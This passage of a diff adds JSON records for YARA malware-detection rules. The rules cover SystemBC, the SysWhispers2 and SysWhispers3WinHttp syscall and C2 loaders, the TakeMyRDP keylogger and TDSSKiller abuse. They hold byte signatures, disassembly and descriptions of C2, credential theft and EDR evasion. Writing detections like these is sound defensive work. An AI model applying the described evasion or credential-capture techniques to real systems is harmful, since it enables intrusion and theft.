+  "rule_creation_date": "2022-06-10",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Rootkit.Symbiote"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1572",
+    "attack.t1056.004"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-systembc_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578163Z",
+  "creation_date": "2026-03-23T11:46:25.578165Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578171Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc\nhttps://news.sophos.com/en-us/2020/12/16/systembc/\nhttps://asec.ahnlab.com/en/33600/"
+  ],
+  "name": "systembc.yar",
+  "content": "rule systembc {\n    meta:\n        title = \"SystemBC Malware\"\n        id = \"576b969b-fdfe-4a14-88c3-a9b6100267d4\"\n        description = \"Detects the SystemBC malware.\\nSystemBC, also known as \\\"socks5 backconnect system\\\", is a proxy and Remote Administrative Tool (RAT) used to deploy malicious payloads.\\nIt sets up a SOCKS5 proxy to communicate with a Command and Control (C2) server controlled by attackers.\\nThis tool was first discovered in 2019 and is often used during ransomware attacks.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc\\nhttps://news.sophos.com/en-us/2020/12/16/systembc/\\nhttps://asec.ahnlab.com/en/33600/\"\n        date = \"2023-03-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1090;attack.t1573.001;attack.t1571\"\n        classification = \"Windows.Malware.SystemBC\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a62751453618735964f32c88d8dbf08d5e27d17b3109a2bb48a15f4ad661a372\n        // 6db824ea5f4d66e385965fcdab37fe9e15a3212bc4ce0c3caf5b726736610e1f\n        // 782a48821d88060adf0f7ef3e8759fee3ddad49e942daad18c5af8ae0e9eb51e\n        // 1aef94e54c1af9a8d0c4fa4cbdc602c025a2b10a097e87184ceb89e124d26e6a\n        // 4562f90572d3ddcdf92f3310f1b5b563dcbffa575d72e3cd82eeacbd79f6c30f\n        // d5ee05aa9a00d9a0058ef255a19f2521855df841bfa78750b16d38e0b59cd1fd\n\n        $s1 = \"wsock32.dll\" ascii fullword\n        $s2 = \"socks64.dll\" ascii fullword\n        $s3 = \"BEGINDATA\" ascii fullword\n        $s4 = \"HOST1:\" ascii\n        $s5 = \"HOST2:\" ascii\n        $s6 = \"PORT1:\" ascii\n        $s7 = \"TOR:\" ascii fullword\n        $s8 = \"GET %s HTTP/1.0\" ascii fullword\n\n        $begindata_32 = {\n            55                                            // push    ebp\n            8B EC                                         // mov     ebp, esp\n            60                                            // pusha\n            81 7D 08 ?? ?? ?? ??                          // cmp     [ebp+arg_0], offset aBegindata ; \"BEGINDATA\"\n            72 21                                         // jb      short loc_402BE8\n            81 7D 08 ?? ?? ?? ??                          // cmp     [ebp+arg_0], offset dword_405081\n            77 18                                         // ja      short loc_402BE8\n            81 3D ?? ?? ?? ?? 78 6F 72 64                 // cmp     dword_405081, 64726F78h\n            75 3F                                         // jnz     short loc_402C1B\n            81 3D ?? ?? ?? ?? 61 74 61 00                 // cmp     dword_405085, 617461h\n            75 33                                         // jnz     short loc_402C1B\n\n            // loc_402BE8:\n            83 7D 10 00                                   // cmp     [ebp+arg_8], 0\n            74 28                                         // jz      short loc_402C16\n            83 7D 0C 00                                   // cmp     [ebp+arg_4], 0\n            74 06                                         // jz      short loc_402BFA\n            83 7D 0C FF                                   // cmp     [ebp+arg_4], 0FFFFFFFFh\n            75 0E                                         // jnz     short loc_402C08\n\n            // loc_402BFA:\n            FF 75 08                                      // push    [ebp+arg_0]\n            E8 ?? ?? 00 00                                // call    sub_402CE4\n            89 45 0C                                      // mov     [ebp+arg_4], eax\n            FF 45 0C                                      // inc     [ebp+arg_4]\n\n            // loc_402C08:\n            FF 75 0C                                      // push    [ebp+arg_4]\n            FF 75 10                                      // push    [ebp+arg_8]\n            FF 75 08                                      // push    [ebp+arg_0]\n            E8 ?? ?? FF FF                                // call    sub_406449\n        }\n\n        $begindata_64 = {\n            55                                            // push    rbp\n            48 8B EC                                      // mov     rbp, rsp\n            50                                            // push    rax\n            53                                            // push    rbx\n            57                                            // push    rdi\n            56                                            // push    rsi\n            41 54                                         // push    r12\n            41 55                                         // push    r13\n            41 56                                         // push    r14\n            41 57                                         // push    r15\n            48 8D 05 ?? ?? ?? ??                          // lea     rax, aBegindata ; \"BEGINDATA\"\n            48 8D 15 ?? ?? ?? ??                          // lea     rdx, dword_180006089\n            48 39 45 10                                   // cmp     [rbp+arg_0], rax\n            72 1E                                         // jb      short loc_180002EE1\n            48 39 55 10                                   // cmp     [rbp+arg_0], rdx\n            77 18                                         // ja      short loc_180002EE1\n            81 3D ?? ?? ?? ?? 78 6F 72 64                 // cmp     cs:dword_180006089, 64726F78h\n            75 58                                         // jnz     short loc_180002F2D\n            81 3D ?? ?? ?? ?? 61 74 61 00                 // cmp     cs:dword_18000608D, 617461h\n            75 4C                                         // jnz     short loc_180002F2D\n\n            // loc_180002EE1:\n            48 83 7D 20 00                                // cmp     [rbp+arg_10], 0\n            74 40                                         // jz      short loc_180002F28\n            48 83 7D 18 00                                // cmp     [rbp+arg_8], 0\n            74 07                                         // jz      short loc_180002EF6\n            48 83 7D 18 FF                                // cmp     [rbp+arg_8], 0FFFFFFFFFFFFFFFFh\n            75 19                                         // jnz     short loc_180002F0F\n\n            // loc_180002EF6:\n            48 83 EC 20                                   // sub     rsp, 20h\n            48 8B 4D 10                                   // mov     rcx, [rbp+arg_0]\n            E8 ?? ?? 00 00                                // call    sub_180003C77\n            48 83 C4 20                                   // add     rsp, 20h\n            48 89 45 18                                   // mov     [rbp+arg_8], rax\n            48 FF 45 18                                   // inc     [rbp+arg_8]\n        }\n\n        $x1 = \"CreateThread\" ascii fullword\n        $x2 = \"VirtualAlloc\" ascii fullword\n        $x3 = \"ioctlsocket\" ascii fullword\n        $x4 = \"wsock32.dll\" ascii fullword\n        $x5 = \"socks64.dll\" ascii fullword\n        $x6 = \"ws2_32.dll\" ascii fullword\n\n        // CreateThread\n        // Variable initialization\n        $thread32_1 = {\n            8B 4D F4                            // mov     ecx, [ebp+var_C]\n            8B 55 FC                            // mov     edx, [ebp+var_4]\n            8B 04 8A                            // mov     eax, [edx+ecx*4]\n            89 45 E8                            // mov     [ebp+var_18], eax\n            8B 02                               // mov     eax, [edx]\n            89 45 F8                            // mov     [ebp+var_8], eax\n            88 4D D0                            // mov     [ebp+var_30], cl\n            66 C7 45 D1 0A 00                   // mov     [ebp+var_2F], 0Ah\n            C6 45 D3 05                         // mov     [ebp+var_2D], 5\n            C6 45 D4 01                         // mov     [ebp+var_2C], 1\n            C6 45 D5 00                         // mov     [ebp+var_2B], 0\n            C6 45 D6 01                         // mov     [ebp+var_2A], 1\n            C6 45 D7 00                         // mov     [ebp+var_29], 0\n            C6 45 D8 00                         // mov     [ebp+var_28], 0\n            C6 45 D9 00                         // mov     [ebp+var_27], 0\n            C6 45 DA 00                         // mov     [ebp+var_26], 0\n            C6 45 DB 00                         // mov     [ebp+var_25], 0\n            C6 45 DC 00                         // mov     [ebp+var_24], 0\n            66 C7 45 ?? 02 00                   // mov     [ebp+var_40], 2\n            80 7E 07 03                         // cmp     byte ptr [esi+7], 3\n        }\n\n        $thread64_1 = {\n            48 83 C4 20                         // add     rsp, 20h\n            88 9D 70 FF FF FF                   // mov     [rbp+var_90], bl\n            66 C7 85 71 FF FF FF 0A 00          // mov     [rbp+var_8F], 0Ah\n            C6 85 73 FF FF FF 05                // mov     [rbp+var_8D], 5\n            C6 85 74 FF FF FF 01                // mov     [rbp+var_8C], 1\n            C6 85 75 FF FF FF 00                // mov     [rbp+var_8B], 0\n            C6 85 76 FF FF FF 01                // mov     [rbp+var_8A], 1\n            C6 85 77 FF FF FF 00                // mov     [rbp+var_89], 0\n            C6 85 78 FF FF FF 00                // mov     [rbp+var_88], 0\n            C6 85 79 FF FF FF 00                // mov     [rbp+var_87], 0\n            C6 85 7A FF FF FF 00                // mov     [rbp+var_86], 0\n            C6 85 7B FF FF FF 00                // mov     [rbp+var_85], 0\n            C6 85 7C FF FF FF 00                // mov     [rbp+var_84], 0\n            66 C7 85 ?? FF FF FF 02 00          // mov     [rbp+name.sa_family], 2\n            80 7E 07 03                         // cmp     byte ptr [rsi+7], 3\n        }\n\n        // WSAIoctl\n        $thread32_2 = {\n            C7 (45|85) [1-4] 01 00 00 00        // mov     [ebp+var_80], 1\n            C7 (45|85) [1-4] 60 EA 00 00        // mov     [ebp+var_7C], 0EA60h\n            C7 (45|85) [1-4] 10 27 00 00        // mov     [ebp+var_78], 2710h\n            6A 00                               // push    0\n            6A 00                               // push    0\n            8D 85 ?? FF FF FF                   // lea     eax, [ebp+var_84]\n            50                                  // push    eax\n            6A 00                               // push    0\n            6A 00                               // push    0\n            6A 0C                               // push    0Ch\n            8D (45|85) [1-4]                    // lea     eax, [ebp+var_80]\n            50                                  // push    eax\n            68 04 00 00 98                      // push    98000004h\n            FF 75 E8                            // push    [ebp+var_18]\n        }\n\n        $thread64_2 = {\n            48 83 C4 20                         // add     rsp, 20h\n            C7 85 ?? ?? FF FF 01 00 00 00       // mov     [rbp+vInBuffer], 1\n            C7 85 ?? ?? FF FF 60 EA 00 00       // mov     [rbp+var_12C], 0EA60h\n            C7 85 ?? ?? FF FF 10 27 00 00       // mov     [rbp+var_128], 2710h\n            48 83 EC 50                         // sub     rsp, 50h\n            48 8B 4D 98                         // mov     rcx, [rbp+s]\n            48 BA 04 00 00 98 00 00 00 00       // mov     rdx, 98000004h\n            4C 8D 85 ?? ?? FF FF                // lea     r8, [rbp+vInBuffer]\n            49 C7 C1 0C 00 00 00                // mov     r9, 0Ch\n            48 C7 44 24 ?? 00 00 00 00          // mov     [rsp+190h+lpvOutBuffer], 0\n            48 C7 44 24 ?? 00 00 00 00          // mov     qword ptr [rsp+190h+cbOutBuffer], 0\n            48 8D 85 ?? ?? FF FF                // lea     rax, [rbp+cbBytesReturned]\n            48 89 44 24 ??                      // mov     [rsp+190h+lpcbBytesReturned], rax\n            48 C7 44 24 ?? 00 00 00 00          // mov     [rsp+190h+lpOverlapped], 0\n            48 C7 44 24 ?? 00 00 00 00          // mov     [rsp+190h+timeout], 0\n        }\n\n    condition:\n        7 of ($s*) or\n        1 of ($begindata_*) or\n        5 of ($x*) and (all of ($thread32_*) or all of ($thread64_*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "systembc"
+  ],
+  "rule_creation_date": "2023-03-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.SystemBC"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1573.001",
+    "attack.t1571"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-syswhispers2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585753Z",
+  "creation_date": "2026-03-23T11:46:25.585757Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585765Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/jthuraisamy/SysWhispers2"
+  ],
+  "name": "syswhispers2.yar",
+  "content": "rule syswhispers2 {\n    meta:\n        title = \"SysWhispers2 Syscall Stubs\"\n        id = \"3ee39874-62c8-4632-928b-6fe1772358ab\"\n        description = \"Detects SysWhispers2, a tool for evading AV/EDR systems by generating header and assembly files that allow implants to make direct system calls, bypassing security hooks. It supports all core syscalls and helps red teamers create stealthier attacks by using syscall address sorting techniques for reduced detection.\"\n        references = \"https://github.com/jthuraisamy/SysWhispers2\"\n        date = \"2021-02-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.007\"\n        classification = \"Windows.Generic.SysWhispers2\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"moderate\"\n\n    strings:\n        // Detection for these samples:\n        // b55d89e7b215f138d44560e56146b2b26297992de088b3af08ed368c84d90ea9\n        // e1370e9afb0bd1e7fb4cb11779a39b6b2d2e0f99fc2cd6137b2c813a3cd54b70\n\n        $sys_whispers2_stub1 = {\n                            // Save registers.\n            51                            // push rcx\n            52                            // push rdx\n            41 50                         // push r8\n            41 51                         // push r9\n\n            B9 ?? ?? ?? ??                // mov ecx, 0xXXX (Syscall Function Hash)\n            E8 ?? ?? ?? ??                // call 0xXXXX    (SW2_GetSyscallNumber)\n\n                            // Restore registers.\n            41 59                         // pop r9\n            41 58                         // pop r8\n            5A                            // pop rdx\n            59                            // pop rcx\n            4C 8B D1                      // mov r10, rcx\n            ( 0F 05 | CD 2E | 0F 34 )     // syscall | int 2eh | sysenter\n            C3                            // retn\n        }\n\n        $sys_whispers2_stub2 = {\n            48 89 4C 24 08                // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                // mov     [rsp+arg_18], r9\n            48 83 EC 28                   // sub     rsp, 28h\n            (\n                B9 ?? ?? ?? ?? |          // mov     ecx, 9D95891Eh\n                8B 0D ?? ?? ?? ??         // mov     ecx, cs:dword_140165000\n            )\n            E8 ?? ?? ?? ??                // call    sub_401793\n            48 83 C4 28                   // add     rsp, 28h\n            48 8B 4C 24 08                // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                // mov     r9, [rsp+arg_18]\n            (\n                49 89 CA |                // mov     r10, rcx\n                4C 8B D1                  // mov     r10, rcx\n            )\n            (\n                90 0F 05 |                  // nop + syscall\n                0F 05                       // syscall\n            )\n            C3                            // retn\n        }\n\n    condition:\n        #sys_whispers2_stub1 >= 4 or $sys_whispers2_stub2\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "syswhispers2"
+  ],
+  "rule_creation_date": "2021-02-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.SysWhispers2"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.007"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-syswhispers3winhttp_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582813Z",
+  "creation_date": "2026-03-23T11:46:25.582815Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582821Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/huaigu4ng/SysWhispers3WinHttp"
+  ],
+  "name": "syswhispers3winhttp.yar",
+  "content": "rule syswhispers3winhttp {\n    meta:\n        title = \"SysWhispers3WinHttp Loader\"\n        id = \"ee149929-ce5f-4d16-8079-e0519867a4f2\"\n        description = \"Detects SysWhispers3WinHttp, a Windows-based C2 loader developed as part of the SysWhispers3 project.\\nThis loader injects malicious code into processes by leveraging direct system calls to establish communication with a C2 server via WinHttp.\\nSysWhispers3WinHttp is designed to fetch and execute remote commands, making it a sophisticated tool for persistence and command execution.\\nThe detection mechanism identifies specific patterns in memory, including the use of the WinHttpOpen function and distinctive memory operations that mimic legitimate API calls.\"\n        references = \"https://github.com/huaigu4ng/SysWhispers3WinHttp\"\n        date = \"2023-09-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Loader.SysWhispers3WinHttp\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 5ffe67ef3724c9370cadd535dcf3bf45921babdffbfa0625aa6ed1ddea41b056\n        // 41a1d5f987d5a66bcccc878fd5dbde50776648b779d0bf4b53aab9d1d20fe369\n\n        $winhttp = \"WinHttpOpen\" ascii fullword\n\n        $VxMoveMemory = {\n            48 89 C8                                      // mov     rax, rcx\n            48 39 D1                                      // cmp     rcx, rdx\n            73 1E                                         // jnb     short loc_4019E6\n            4D 85 C0                                      // test    r8, r8\n            74 18                                         // jz      short locret_4019E5\n            41 B9 00 00 00 00                             // mov     r9d, 0\n\n                                        // loc_4019D3:\n            42 0F B6 0C 0A                                // movzx   ecx, byte ptr [rdx+r9]\n            42 88 0C 08                                   // mov     [rax+r9], cl\n            49 83 C1 01                                   // add     r9, 1\n            4D 39 C8                                      // cmp     r8, r9\n            75 EE                                         // jnz     short loc_4019D3\n\n                                        // locret_4019E5:\n            C3                                            // retn\n\n                                        // loc_4019E6:\n            4D 8D 48 FF                                   // lea     r9, [r8-1]\n            4D 85 C0                                      // test    r8, r8\n            74 F6                                         // jz      short locret_4019E5\n\n                                        // loc_4019EF:\n            42 0F B6 0C 0A                                // movzx   ecx, byte ptr [rdx+r9]\n            42 88 0C 08                                   // mov     [rax+r9], cl\n            49 83 E9 01                                   // sub     r9, 1\n            49 83 F9 FF                                   // cmp     r9, 0FFFFFFFFFFFFFFFFh\n            75 ED                                         // jnz     short loc_4019EF\n            EB E1                                         // jmp     short locret_4019E5\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "syswhispers3winhttp"
+  ],
+  "rule_creation_date": "2023-09-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.SysWhispers3WinHttp"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-takemyrdp_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584687Z",
+  "creation_date": "2026-03-23T11:46:25.584689Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584695Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/TheD1rkMtr/TakeMyRDP\nhttps://github.com/nocerainfosec/TakeMyRDP2.0"
+  ],
+  "name": "takemyrdp.yar",
+  "content": "rule TakeMyRDP {\n    meta:\n        title = \"TakeMyRDP HackTool\"\n        id = \"f5aa7960-b555-4dc3-a5d7-e9d0e3d1417c\"\n        description = \"Detects the TakeMyRDP HackTool.\\nTakeMyRDP is a keystroke logging tool designed to capture keyboard inputs within specific RDP-related processes. It establishes a low-level keyboard hook to monitor and record keystrokes in contexts such as Remote Desktop Protocol (RDP) sessions, particularly targeting processes like mstsc.exe and CredentialUIBroker.exe. The tool captures sensitive information like credentials and session activity.\"\n        references = \"https://github.com/TheD1rkMtr/TakeMyRDP\\nhttps://github.com/nocerainfosec/TakeMyRDP2.0\"\n        date = \"2023-07-10\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.collection;attack.credential_access;attack.t1056.001\"\n        classification = \"Windows.HackTool.TakeMyRDP\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a77c4bf1deda81c4b3b1e40e5e8efa041a0f9cc0e6024812cfa3eb8d37133fc6\n        // 7567fdc1b82f607d8a6db1a670797dc32326689394e0e59e0ca42a04d94fdb71\n\n        $s1 = \"<CAPSLOCK>\" ascii fullword\n        $s2 = \"SetWindowsHookExW\" ascii fullword\n        $s3 = \"TranslateMessage\" ascii fullword\n        $s4 = \"GetForegroundWindow\" ascii fullword\n        $s5 = \"DispatchMessageW\" ascii fullword\n        $s6 = \"CallNextHookEx\" ascii fullword\n        $s7 = \"GetKeyState\" ascii fullword\n        $s8 = \"GetWindowThreadProcessId\" ascii fullword\n\n        $processes = {\n            6D 00 73 00 74 00 73 00 63 00 2E 00 65 00 78 00     // text \"UTF-16LE\", 'mstsc.exe',0\n            65 00 00 00 00 00 00 00\n            43 00 72 00 65 00 64 00 65 00 6E 00 74 00 69 00     // text \"UTF-16LE\", 'CredentialUIBroker.exe',0\n            61 00 6C 00 55 00 49 00 42 00 72 00 6F 00 6B 00\n            65 00 72 00 2E 00 65 00 78 00 65 00 00 00 00 00\n            3C                                                  // db '<RALT>',0\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "TakeMyRDP"
+  ],
+  "rule_creation_date": "2023-07-10",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.TakeMyRDP"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-tdsskiller_binary_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584893Z",
+  "creation_date": "2026-03-23T11:46:25.584895Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584900Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sangfor.com/farsight-labs-threat-intelligence/cybersecurity/lockbit-ransomware-silently-disables-edr-using-tdsskiller\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "tdsskiller_binary.yar",
+  "content": "import \"pe\"\n\nrule tdsskiller_binary {\n    meta:\n        title = \"TDSSKiller Binary\"\n        id = \"9f3b4393-e5f1-4740-bb9d-140dcb7b75c4\"\n        description = \"Detects TDSSKiller, a legitimate tool developed by Kaspersky for detecting and removing rootkits.\\nThis tool is capable of disabling stubborn malicious processes through command prompt execution.\\nIt is notable for being abused by the LockBit 3.0 Ransomware group to terminate EDR processes.\"\n        references = \"https://www.sangfor.com/farsight-labs-threat-intelligence/cybersecurity/lockbit-ransomware-silently-disables-edr-using-tdsskiller\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2023-07-27\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001\"\n        classification = \"Windows.Tool.TDSSkiller\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 71fab17a59b474e6ff3a8c5fb9b46cadfc6226c6a100c84944cbc7ccda151075\n        // 2d823c8b6076e932d696e8cb8a2c5c5df6d392526cba8e39b64c43635f683009\n        // 50eb691e88c7eac7952ad408e7cc08759fb84e8776cde35d3919a76ce9797f8e\n\n        $pdb_path = \"C:\\\\Perforce\\\\All\\\\virlab\\\\anti_rootkit\\\\research\\\\KlDropper\\\\Release\\\\KlDropper.pdb\" ascii fullword\n        $canary = \"1cba4afc8b8ae7334527ac8ceb94c8f8e08367799856c45b61ceb2bd69d75893\"\n\n    condition:\n        ((\n            $pdb_path and not (\n                pe.version_info[\"OriginalFilename\"] != \"SalityKiller.exe\" or\n                pe.version_info[\"OriginalFilename\"] != \"ZbotKiller.exe\" or\n                pe.version_info[\"OriginalFilename\"] != \"VirutKiller.exe\" or\n                pe.version_info[\"OriginalFilename\"] != \"RannohDecryptor.exe\"\n            )\n        )\n        or pe.version_info[\"OriginalFilename\"] == \"TDSSKiller.exe\")\n        and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "tdsskiller_binary"
+  ],
+  "rule_creation_date": "2023-07-27",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.TDSSkiller"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-tdsskiller_minidriver_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
